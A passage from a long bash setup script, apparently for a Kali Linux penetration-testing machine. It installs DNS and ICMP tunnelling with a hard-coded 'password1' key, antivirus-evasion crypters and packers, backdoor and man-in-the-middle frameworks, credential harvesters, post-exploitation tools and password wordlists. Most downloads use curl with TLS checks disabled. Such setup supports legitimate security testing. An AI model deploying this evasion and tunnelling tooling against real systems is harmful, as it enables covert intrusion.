  2779.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2780. #--- Daemon
  2781. file=/etc/dns2tcpd.conf; [ -e "${file}" ] && cp -n $file{,.bkup};
  2782. cat <<EOF > "${file}" \
  2783.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2784. listen = 0.0.0.0
  2785. port = 53
  2786. user = nobody
  2787. chroot = /tmp
  2788. domain = dnstunnel.mydomain.com
  2789. key = password1
  2790. ressources = ssh:127.0.0.1:22
  2791. EOF
  2792. #--- Client
  2793. file=/etc/dns2tcpc.conf; [ -e "${file}" ] && cp -n $file{,.bkup};
  2794. cat <<EOF > "${file}" \
  2795.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2796. domain = dnstunnel.mydomain.com
  2797. key = password1
  2798. resources = ssh
  2799. local_port = 8000
  2800. debug_level=1
  2801. EOF
  2802. #--- Example
  2803. #dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf
  2804. #dns2tcpc -f /etc/dns2tcpc.conf 178.62.206.227; ssh -C -D 8081 -p 8000 root@127.0.0.1
  2805.  
  2806.  
  2807. ##### Install ptunnel
  2808. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ptunnel${RESET} ~ ICMP tunnelling"
  2809. apt -y -qq install ptunnel \
  2810.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2811. #--- Example
  2812. #ptunnel -x password1
  2813. #ptunnel -x password1 -p 123.9.9.9 -lp 8000 -da 127.0.0.1 -dp 22; ssh -C -D 8081 -p 8000 root@127.0.0.1
  2814.  
  2815.  
  2816. ##### Install stunnel
  2817. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}stunnel${RESET} ~ SSL wrapper"
  2818. apt -y -qq install stunnel \
  2819.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2820. #--- Remove from start up
  2821. systemctl disable stunnel4
  2822.  
  2823.  
  2824. ##### Install zerofree
  2825. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}zerofree${RESET} ~ CLI nulls free blocks on a HDD"
  2826. apt -y -qq install zerofree \
  2827.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2828. #--- Example
  2829. #fdisk -l
  2830. #zerofree -v /dev/sda1
  2831. #for i in $(mount | grep sda | grep ext | cut -b 9); do  mount -o remount,ro /dev/sda${i} && zerofree -v /dev/sda${i} && mount -o remount,rw /dev/sda${i}; done
  2832.  
  2833.  
  2834. ##### Install gcc & multilib
  2835. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}gcc${RESET} & ${GREEN}multilibc${RESET} ~ compiling libraries"
  2836. for FILE in cc gcc g++ gcc-multilib make automake libc6 libc6-dev libc6-amd64 libc6-dev-amd64 libc6-i386 libc6-dev-i386 libc6-i686 libc6-dev-i686 build-essential dpkg-dev; do
  2837.   apt -y -qq install "${FILE}" 2>/dev/null
  2838. done
  2839.  
  2840.  
  2841. ##### Install MinGW ~ cross compiling suite
  2842. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MinGW${RESET} ~ cross compiling suite"
  2843. for FILE in mingw-w64 binutils-mingw-w64 gcc-mingw-w64 cmake   mingw-w64-dev mingw-w64-tools   gcc-mingw-w64-i686 gcc-mingw-w64-x86-64   mingw32; do
  2844.   apt -y -qq install "${FILE}" 2>/dev/null
  2845. done
  2846.  
  2847.  
  2848. ##### Install WINE
  2849. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}WINE${RESET} ~ run Windows programs on *nix"
  2850. apt -y -qq install wine winetricks \
  2851.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2852. #--- Using x64?
  2853. if [[ "$(uname -m)" == 'x86_64' ]]; then
  2854.   (( STAGE++ )); echo -e " ${GREEN}[i]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}WINE (x64)${RESET}"
  2855.   dpkg --add-architecture i386
  2856.   apt -qq update
  2857.   apt -y -qq install wine32 \
  2858.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2859. fi
  2860. #--- Run WINE for the first time
  2861. [ -e /usr/share/windows-binaries/whoami.exe ] && wine /usr/share/windows-binaries/whoami.exe &>/dev/null
  2862. #--- Setup default file association for .exe
  2863. file=~/.local/share/applications/mimeapps.list; [ -e "${file}" ] && cp -n $file{,.bkup}
  2864. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  2865. echo -e 'application/x-ms-dos-executable=wine.desktop' >> "${file}"
  2866.  
  2867.  
  2868. ##### Install MinGW (Windows) ~ cross compiling suite
  2869. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MinGW (Windows)${RESET} ~ cross compiling suite"
  2870. apt -y -qq install wine curl unzip \
  2871.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2872. timeout 300 curl --progress -k -L -f "http://sourceforge.net/projects/mingw/files/Installer/mingw-get/mingw-get-0.6.2-beta-20131004-1/mingw-get-0.6.2-mingw32-beta-20131004-1-bin.zip/download" > /tmp/mingw-get.zip \
  2873.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading mingw-get.zip" 1>&2       #***!!! hardcoded path!
  2874. mkdir -p ~/.wine/drive_c/MinGW/bin/
  2875. unzip -q -o -d ~/.wine/drive_c/MinGW/ /tmp/mingw-get.zip
  2876. pushd ~/.wine/drive_c/MinGW/ >/dev/null
  2877. for FILE in mingw32-base mingw32-gcc-g++ mingw32-gcc-objc; do   #msys-base
  2878.   wine ./bin/mingw-get.exe install "${FILE}" 2>&1 | grep -v 'If something goes wrong, please rerun with\|for more detailed debugging output'
  2879. done
  2880. popd >/dev/null
  2881. #--- Add to windows path
  2882. grep -q '^"PATH"=.*C:\\\\MinGW\\\\bin' ~/.wine/system.reg \
  2883.   || sed -i '/^"PATH"=/ s_"$_;C:\\\\MinGW\\\\bin"_' ~/.wine/system.reg
  2884.  
  2885.  
  2886. ##### Downloading AccessChk.exe
  2887. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Downloading ${GREEN}AccessChk.exe${RESET} ~ Windows environment tester"
  2888. apt -y -qq install curl windows-binaries unzip \
  2889.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2890. echo -n '[1/2]'; timeout 300 curl --progress -k -L -f "https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe" > /usr/share/windows-binaries/accesschk_v5.02.exe \
  2891.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading accesschk_v5.02.exe" 1>&2   #***!!! hardcoded path!
  2892. echo -n '[2/2]'; timeout 300 curl --progress -k -L -f "https://download.sysinternals.com/files/AccessChk.zip" > /usr/share/windows-binaries/AccessChk.zip \
  2893.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading AccessChk.zip" 1>&2
  2894. unzip -q -o -d /usr/share/windows-binaries/ /usr/share/windows-binaries/AccessChk.zip
  2895. rm -f /usr/share/windows-binaries/{AccessChk.zip,Eula.txt}
  2896.  
  2897.  
  2898. ##### Downloading PsExec.exe
  2899. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Downloading ${GREEN}PsExec.exe${RESET} ~ Pass The Hash 'phun'"
  2900. apt -y -qq install curl windows-binaries unzip unrar \
  2901.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2902. echo -n '[1/2]'; timeout 300 curl --progress -k -L -f "https://download.sysinternals.com/files/PSTools.zip" > /tmp/pstools.zip \
  2903.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading pstools.zip" 1>&2
  2904. echo -n '[2/2]'; timeout 300 curl --progress -k -L -f "http://www.coresecurity.com/system/files/pshtoolkit_v1.4.rar" > /tmp/pshtoolkit.rar \
  2905.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading pshtoolkit.rar" 1>&2  #***!!! hardcoded path!
  2906. unzip -q -o -d /usr/share/windows-binaries/pstools/ /tmp/pstools.zip
  2907. unrar x -y /tmp/pshtoolkit.rar /usr/share/windows-binaries/ >/dev/null
  2908.  
  2909.  
  2910. ##### Install Python (Windows via WINE)
  2911. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Python (Windows)${RESET}"
  2912. echo -n '[1/2]'; timeout 300 curl --progress -k -L -f "https://www.python.org/ftp/python/2.7.9/python-2.7.9.msi" > /tmp/python.msi \
  2913.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading python.msi" 1>&2       #***!!! hardcoded path!
  2914. echo -n '[2/2]'; timeout 300 curl --progress -k -L -f "http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download" > /tmp/pywin32.exe \
  2915.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading pywin32.exe" 1>&2      #***!!! hardcoded path!
  2916. wine msiexec /i /tmp/python.msi /qb 2>&1 | grep -v 'If something goes wrong, please rerun with\|for more detailed debugging output'
  2917. pushd /tmp/ >/dev/null
  2918. rm -rf "PLATLIB/" "SCRIPTS/"
  2919. unzip -q -o /tmp/pywin32.exe
  2920. cp -rf PLATLIB/* ~/.wine/drive_c/Python27/Lib/site-packages/
  2921. cp -rf SCRIPTS/* ~/.wine/drive_c/Python27/Scripts/
  2922. rm -rf "PLATLIB/" "SCRIPTS/"
  2923. popd >/dev/null
  2924.  
  2925.  
  2926. ##### Install veil framework
  2927. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}veil-evasion framework${RESET} ~ bypassing anti-virus"
  2928. apt -y -qq install veil-evasion \
  2929.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2930. #bash /usr/share/veil-evasion/setup/setup.sh --silent
  2931. mkdir -p /var/lib/veil-evasion/go/bin/
  2932. touch /etc/veil/settings.py
  2933. sed -i 's/TERMINAL_CLEAR=".*"/TERMINAL_CLEAR="false"/' /etc/veil/settings.py
  2934.  
  2935.  
  2936. ##### Install OP packers
  2937. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}OP packers${RESET} ~ bypassing anti-virus"
  2938. apt -y -qq install upx-ucl curl \
  2939.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2940. mkdir -p /opt/packers/
  2941. echo -n '[1/3]'; timeout 300 curl --progress -k -L -f "http://www.eskimo.com/~scottlu/win/cexe.exe" > /opt/packers/cexe.exe \
  2942.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading cexe.exe" 1>&2            #***!!! hardcoded version! Need to manually check for updates
  2943. echo -n '[2/3]'; timeout 300 curl --progress -k -L -f "http://www.farbrausch.de/~fg/kkrunchy/kkrunchy_023a2.zip" > /opt/packers/kkrunchy.zip \
  2944.   && unzip -q -o -d /opt/packers/ /opt/packers/kkrunchy.zip \
  2945.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kkrunchy.zip" 1>&2        #***!!! hardcoded version! Need to manually check for updates
  2946. echo -n '[3/3]'; timeout 300 curl --progress -k -L -f "https://github.com/Veil-Framework/Veil-Evasion/blob/master/tools/pescrambler/PEScrambler.exe" > /opt/packers/PEScrambler \
  2947.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading PEScrambler.exe" 1>&2     #***!!! hardcoded version! Need to manually check for updates
  2948. #*** ??????? Need to make a bash script like hyperion...
  2949. #--- Link to others
  2950. apt -y -qq install windows-binaries \
  2951.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2952. ln -sf /opt/packers/ /usr/share/windows-binaries/packers
  2953.  
  2954.  
  2955. ##### Install hyperion
  2956. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}hyperion${RESET} ~ bypassing anti-virus"
  2957. apt -y -qq install unzip windows-binaries \
  2958.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2959. unzip -q -o -d /usr/share/windows-binaries/ $(find /usr/share/windows-binaries/ -name "Hyperion-*.zip" -type f -print -quit)
  2960. #--- Compile
  2961. i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ \
  2962.   /usr/share/windows-binaries/Hyperion-1.0/Src/Crypter/*.cpp \
  2963.   -o /usr/share/windows-binaries/Hyperion-1.0/Src/Crypter/bin/crypter.exe
  2964. ln -sf /usr/share/windows-binaries/Hyperion-1.0/Src/Crypter/bin/crypter.exe /usr/share/windows-binaries/Hyperion-1.0/crypter.exe                                                            #***!!! hardcoded path!
  2965. wine ~/.wine/drive_c/MinGW/bin/g++.exe /usr/share/windows-binaries/Hyperion-1.0/Src/Crypter/*.cpp \
  2966.   -o /usr/share/windows-binaries/hyperion.exe 2>&1 \
  2967.   | grep -v 'If something goes wrong, please rerun with\|for more detailed debugging output'
  2968. #--- Add to path
  2969. mkdir -p /usr/local/bin/
  2970. file=/usr/local/bin/hyperion
  2971. cat <<EOF > "${file}" \
  2972.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2973. #!/bin/bash
  2974.  
  2975. ## Note: This is far from perfect...
  2976.  
  2977. CWD=\$(pwd)/
  2978. BWD="?"
  2979.  
  2980. ## Using full path?
  2981. [ -e "/\${1}" ] && BWD=""
  2982.  
  2983. ## Using relative path?
  2984. [ -e "./\${1}" ] && BWD="\${CWD}"
  2985.  
  2986. ## Can't find input file!
  2987. [[ "\${BWD}" == "?" ]] && echo -e ' '${RED}'[!]'${RESET}' Cant find \$1. Quitting...' && exit
  2988.  
  2989. ## The magic!
  2990. cd /usr/share/windows-binaries/Hyperion-1.0/
  2991. $(which wine) ./Src/Crypter/bin/crypter.exe \${BWD}\${1} output.exe
  2992.  
  2993. ## Restore our path
  2994. cd \${CWD}/
  2995. sleep 1s
  2996.  
  2997. ## Move the output file
  2998. mv -f /usr/share/windows-binaries/Hyperion-1.0/output.exe \${2}
  2999.  
  3000. ## Generate file hashes
  3001. for FILE in \${1} \${2}; do
  3002.   echo "[i] \$(md5sum \${FILE})"
  3003. done
  3004. EOF
  3005. chmod +x "${file}"
  3006.  
  3007.  
  3008. ##### Install shellter
  3009. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}shellter${RESET} ~ dynamic shellcode injector"
  3010. apt -y -qq install shellter \
  3011.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3012.  
  3013.  
  3014. ##### Install the backdoor factory
  3015. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Backdoor Factory${RESET} ~ bypassing anti-virus"
  3016. apt -y -qq install backdoor-factory \
  3017.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3018.  
  3019.  
  3020. ##### Install Backdoor Factory Proxy (BDFProxy)
  3021. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Backdoor Factory Proxy (BDFProxy)${RESET} ~ patches binaries files during a MITM"
  3022. apt -y -qq install bdfproxy \
  3023.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3024.  
  3025.  
  3026. ##### Install BetterCap
  3027. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}BetterCap${RESET} ~ MITM framework"
  3028. apt -y -qq install git ruby-dev libpcap-dev \
  3029.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3030. git clone -q -b master https://github.com/evilsocket/bettercap.git /opt/bettercap-git/ \
  3031.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3032. pushd /opt/bettercap-git/ >/dev/null
  3033. git pull -q
  3034. gem build bettercap.gemspec
  3035. gem install bettercap*.gem
  3036. popd >/dev/null
  3037.  
  3038.  
  3039. ##### Install mitmf
  3040. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MITMf${RESET} ~ framework for MITM attacks"
  3041. apt -y -qq install mitmf \
  3042.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3043.  
  3044.  
  3045. ##### Install responder
  3046. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Responder${RESET} ~ rogue server"
  3047. apt -y -qq install responder \
  3048.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3049.  
  3050.  
  3051. ##### Install seclist
  3052. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}seclist${RESET} ~ multiple types of (word)lists (and similar things)"
  3053. apt -y -qq install seclists \
  3054.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3055. #--- Link to others
  3056. apt -y -qq install wordlists \
  3057.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3058. [ -e /usr/share/seclists ] \
  3059.   && ln -sf /usr/share/seclists /usr/share/wordlists/seclists
  3060.  
  3061. #  https://github.com/fuzzdb-project/fuzzdb
  3062.  
  3063.  
  3064. ##### Update wordlists
  3065. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Updating ${GREEN}wordlists${RESET} ~ collection of wordlists"
  3066. apt -y -qq install wordlists curl \
  3067.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3068. #--- Extract rockyou wordlist
  3069. [ -e /usr/share/wordlists/rockyou.txt.gz ] \
  3070.   && gzip -dc < /usr/share/wordlists/rockyou.txt.gz > /usr/share/wordlists/rockyou.txt
  3071. #--- Add 10,000 Top/Worst/Common Passwords
  3072. mkdir -p /usr/share/wordlists/
  3073. (curl --progress -k -L -f "http://xato.net/files/10k most common.zip" > /tmp/10kcommon.zip 2>/dev/null \
  3074.   || curl --progress -k -L -f "http://download.g0tmi1k.com/wordlists/common-10k_most_common.zip" > /tmp/10kcommon.zip 2>/dev/null) \
  3075.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 10kcommon.zip" 1>&2
  3076. unzip -q -o -d /usr/share/wordlists/ /tmp/10kcommon.zip 2>/dev/null   #***!!! hardcoded version! Need to manually check for updates
  3077. mv -f /usr/share/wordlists/10k{\ most\ ,_most_}common.txt
  3078. #--- Linking to more - folders
  3079. [ -e /usr/share/dirb/wordlists ] \
  3080.   && ln -sf /usr/share/dirb/wordlists /usr/share/wordlists/dirb
  3081. #--- Extract sqlmap wordlist
  3082. unzip -o -d /usr/share/sqlmap/txt/ /usr/share/sqlmap/txt/wordlist.zip
  3083. ln -sf /usr/share/sqlmap/txt/wordlist.txt /usr/share/wordlists/sqlmap.txt
  3084. #--- Not enough? Want more? Check below!
  3085. #apt search wordlist
  3086. #find / \( -iname '*wordlist*' -or -iname '*passwords*' \) #-exec ls -l {} \;
  3087.  
  3088.  
  3089. ##### Install apt-file
  3090. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}apt-file${RESET} ~ which package includes a specific file"
  3091. apt -y -qq install apt-file \
  3092.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3093. apt-file update
  3094.  
  3095.  
  3096. ##### Install apt-show-versions
  3097. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}apt-show-versions${RESET} ~ which package version in repo"
  3098. apt -y -qq install apt-show-versions \
  3099.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3100.  
  3101.  
  3102. ##### Install Babel scripts
  3103. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Babel scripts${RESET} ~ post exploitation scripts"
  3104. apt -y -qq install git \
  3105.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3106. git clone -q -b master https://github.com/attackdebris/babel-sf.git /opt/babel-sf-git/ \
  3107.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3108. pushd /opt/babel-sf-git/ >/dev/null
  3109. git pull -q
  3110. popd >/dev/null
  3111.  
  3112.  
  3113. ##### Install checksec
  3114. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}checksec${RESET} ~ check *nix OS for security features"
  3115. apt -y -qq install curl \
  3116.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3117. mkdir -p /usr/share/checksec/
  3118. file=/usr/share/checksec/checksec.sh
  3119. timeout 300 curl --progress -k -L -f "http://www.trapkit.de/tools/checksec.sh" > "${file}" \
  3120.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading checksec.sh" 1>&2     #***!!! hardcoded patch
  3121. chmod +x "${file}"
  3122.  
  3123.  
  3124. ##### Install shellconv
  3125. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}shellconv${RESET} ~ shellcode disassembler"
  3126. apt -y -qq install git \
  3127.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3128. git clone -q -b master https://github.com/hasherezade/shellconv.git /opt/shellconv-git/ \
  3129.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3130. pushd /opt/shellconv-git/ >/dev/null
  3131. git pull -q
  3132. popd >/dev/null
  3133. #--- Add to path
  3134. mkdir -p /usr/local/bin/
  3135. file=/usr/local/bin/shellconv-git
  3136. cat <<EOF > "${file}" \
  3137.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3138. #!/bin/bash
  3139.  
  3140. cd /opt/shellconv-git/ && python shellconv.py "\$@"
  3141. EOF
  3142. chmod +x "${file}"
  3143.  
  3144.  
  3145. ##### Install bless
  3146. #(( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bless${RESET} ~ GUI hex editor"
  3147. #apt -y -qq install bless \
  3148. #  || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3149.  
  3150.  
  3151. ##### Install dhex
  3152. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}dhex${RESET} ~ CLI hex compare"
  3153. apt -y -qq install dhex \
  3154.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3155.  
  3156.  
  3157. ##### Install firmware-mod-kit
  3158. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}firmware-mod-kit${RESET} ~ customize firmware"
  3159. apt -y -qq install firmware-mod-kit \
  3160.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3161.  
  3162.  
  3163. ##### Install lnav
  3164. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}lnav${RESET} ~ CLI log veiwer"
  3165. apt -y -qq install lnav \
  3166.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3167.  
  3168.  
  3169. ##### Install commix
  3170. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}commix${RESET} ~ automatic command injection"
  3171. apt -y -qq install commix \
  3172.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3173.  
  3174.  
  3175. ##### Install fimap
  3176. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}fimap${RESET} ~ automatic LFI/RFI tool"
  3177. apt -y -qq install fimap \
  3178.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3179.  
  3180.  
  3181. ##### Install smbmap
  3182. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}smbmap${RESET} ~ SMB enumeration tool"
  3183. apt -y -qq install smbmap \
  3184.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3185.  
  3186.  
  3187. ##### Install smbspider
  3188. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}smbspider${RESET} ~ search network shares"
  3189. apt -y -qq install git \
  3190.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3191. git clone -q -b master https://github.com/T-S-A/smbspider.git /opt/smbspider-git/ \
  3192.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3193. pushd /opt/smbspider-git/ >/dev/null
  3194. git pull -q
  3195. popd >/dev/null
  3196.  
  3197.  
  3198. ##### Install CrackMapExec
  3199. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}CrackMapExec${RESET} ~ Swiss army knife for Windows environments"
  3200. apt -y -qq install git \
  3201.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3202. git clone -q -b master https://github.com/byt3bl33d3r/CrackMapExec.git /opt/crackmapexec-git/ \
  3203.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3204. pushd /opt/crackmapexec-git/ >/dev/null
  3205. git pull -q
  3206. popd >/dev/null
  3207.  
  3208.  
  3209. ##### Install credcrack
  3210. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}credcrack${RESET} ~ credential harvester via Samba"
  3211. apt -y -qq install git \
  3212.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3213. git clone -q -b master https://github.com/gojhonny/CredCrack.git /opt/credcrack-git/ \
  3214.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3215. pushd /opt/credcrack-git/ >/dev/null
  3216. git pull -q
  3217. popd >/dev/null
  3218.  
  3219.  
  3220. ##### Install Empire
  3221. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Empire${RESET} ~ PowerShell post-exploitation"
  3222. apt -y -qq install git \
  3223.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3224. git clone -q -b master https://github.com/PowerShellEmpire/Empire.git /opt/empire-git/ \
  3225.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3226. pushd /opt/empire-git/ >/dev/null
  3227. git pull -q
  3228. popd >/dev/null
  3229.  
  3230.  
  3231. ##### Install wig (https://bugs.kali.org/view.php?id=1932)
  3232. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wig${RESET} ~ web application detection"
  3233. apt -y -qq install git \
  3234.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3235. git clone -q -b master https://github.com/jekyc/wig.git /opt/wig-git/ \
  3236.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3237. pushd /opt/wig-git/ >/dev/null
  3238. git pull -q
  3239. popd >/dev/null
  3240. #--- Add to path
  3241. mkdir -p /usr/local/bin/
  3242. file=/usr/local/bin/wig-git
  3243. cat <<EOF > "${file}" \
  3244.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3245. #!/bin/bash
  3246.  
  3247. cd /opt/wig-git/ && python wig.py "\$@"
  3248. EOF
  3249. chmod +x "${file}"
  3250.  
  3251.  
  3252. ##### Install CMSmap
  3253. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}CMSmap${RESET} ~ CMS detection"
  3254. apt -y -qq install git \
  3255.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3256. git clone -q -b master https://github.com/Dionach/CMSmap.git /opt/cmsmap-git/ \
  3257.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3258. pushd /opt/cmsmap-git/ >/dev/null
  3259. git pull -q
  3260. popd >/dev/null
  3261. #--- Add to path
  3262. mkdir -p /usr/local/bin/
  3263. file=/usr/local/bin/cmsmap-git
  3264. cat <<EOF > "${file}" \
  3265.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3266. #!/bin/bash
  3267.  
  3268. cd /opt/cmsmap-git/ && python cmsmap.py "\$@"
  3269. EOF
  3270. chmod +x "${file}"
  3271.  
  3272.  
  3273. ##### Install droopescan
  3274. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}DroopeScan${RESET} ~ Drupal vulnerability scanner"
  3275. apt -y -qq install git \
  3276.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3277. git clone -q -b master https://github.com/droope/droopescan.git /opt/droopescan-git/ \
